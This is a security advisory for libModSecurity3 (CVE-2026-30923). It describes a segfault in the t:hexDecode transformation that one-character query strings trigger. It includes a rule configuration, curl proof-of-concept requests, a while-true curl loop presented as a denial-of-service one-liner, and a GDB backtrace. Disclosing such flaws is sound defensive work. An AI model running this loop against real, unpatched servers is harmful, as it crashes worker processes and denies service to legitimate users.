libModSecurity3: Segfault on query strings with a single character when using `t:hexDecode`

High **airween** published **GHSA-qrjc-3jpc-3h2g** last week

Package

libModSecurity3

Affected versions

All versions

Patched versions

None

Description

Summary

Under specific configurations, a query string that contains a single character is enough to cause a segfault, this can be abused in an denial of service attack by a simple one liner bash script. This issue occurs for all versions of libModSecurity3, ModSecurity2 (Apache) is not affected.

PoC

1. Create a rule with the `t:hexDecode` transformation that inspects query strings:

```
SecRule ARGS "@contains test" \
    "id:1,\
    phase:1,\
    deny,\
    t:none,t:hexDecode,\
    log"
```

2. Send this request and check for a segfault

```
curl "localhost/?test=a"
```

Adding an extra charcter is enough to avoid a segfault:

```
curl "localhost/?test=aa"
```

Impact

Using a simple one liner is enough to crash all worker processes, leaving none available for legitimate users. Service will resume as soon as the attack stops as the worker processes will be able to recover from the segfault.

```
while true; do (curl "localhost/?test=a") done
```

Additional information

Backtrace:

```
#0  modsecurity::utils::string::xsingle2c (what=0x7ffcadac3000 <error: Cannot acce
memory at address 0x7ffcadac3000>)
    at ../src/utils/string.h:216
        digit = <optimized out>
        digit = <optimized out>
#1  modsecurity::utils::string::x2c (what=0x7ffcadac3000 <error: Cannot access memory
at address 0x7ffcadac3000>)
    at ../src/utils/string.h:225
        digit = <optimized out>
#2  modsecurity::actions::transformations::inplace (value="p") at
actions/transformations/hex_decode.cc:32
        i = 17008
        len = <optimized out>
        d = 0x7ffcadac0ec8 "ʔ\"U\265t"
        data = 0x7ffcadabed90
"p\320\320\320\320\320\320\320&\226xT]\375\320\320\320\320\320P\320\320Й\226x\320~\215\3
<incomplete sequence \320>...
        len = <optimized out>
        d = <optimized out>
        data = <optimized out>
        i = <optimized out>
#3  modsecurity::actions::transformations::HexDecode::transform (this=<optimized
out>, value="p", trans=<optimized out>)
    at actions/transformations/hex_decode.cc:43
No locals.
#4  0x000074b554f3f821 in modsecurity::RuleWithActions::executeTransformation
(this=this@entry=0x5fb64b1b0a40, a=...,
    value="p", trans=trans@entry=0x5fb64d284240,
    ret=std::__cxx11::list<error reading variable: Cannot access memory at address
0xa032cf27d0d0d030>, path="",
    nth=@0x7ffcadabed4c: 0) at rule_with_actions.cc:335
--Type <RET> for more, q to quit, c to continue without paging--c
```

```
No locals.
#5  0x000074b554f3dcc8 in modsecurity::RuleWithActions::executeTransformations
(this=0x5fb64b1b0a40, trans=0x5fb64d284240,
    in=..., ret=std::__cxx11::list<error reading variable: Cannot access memory at
address 0xa032cf27d0d0d030>)
    at rule_with_actions.cc:393
        a = 0x5fb64b1c44f0
        __for_range = std::vector of length 2, capacity 2 = {0x5fb64b1c4460,
0x5fb64b1c44f0}
        __for_begin = <optimized out>
        __for_end = <optimized out>
        none = 0
        transformations = 0
        path = ""
        value = "p"
#6  0xd0fd7d5ad078969a in ?? ()
No symbol table info available.
#7  0x0a32cf27d0d0d060 in ?? ()
No symbol table info available.
#8  0xd0d0d0d0d0d0d0d0 in ?? ()
No symbol table info available.
#9  0xd0fd8dd4d078962c in ?? ()
#1020 0x000074b55522a1ca in __libc_start_call_main (
    main=<error reading variable: Cannot access memory at address
0xd078962ad0d0cff8>,
    argc=<error reading variable: Cannot access memory at address
0xd078962ad0d0cff4>,
    argv=<error reading variable: Cannot access memory at address
0xd078962ad0d0cfe8>)
    at ../sysdeps/nptl/libc_start_call_main.h:58
        self = <optimized out>
        result = <optimized out>
        unwind_buf = <error reading variable unwind_buf (Cannot access memory at
address 0xd078962ad0d0d000)>
        not_first_call = <optimized out>
Backtrace stopped: Cannot access memory at address 0xd078962ad0d0d078
```

Note: I stripped out some lines since they were just repeating themselves

Severity

High 7.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged

Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-30923

Weaknesses

- CWE-125
- CWE-190

Credits

EsadCetiner Reporter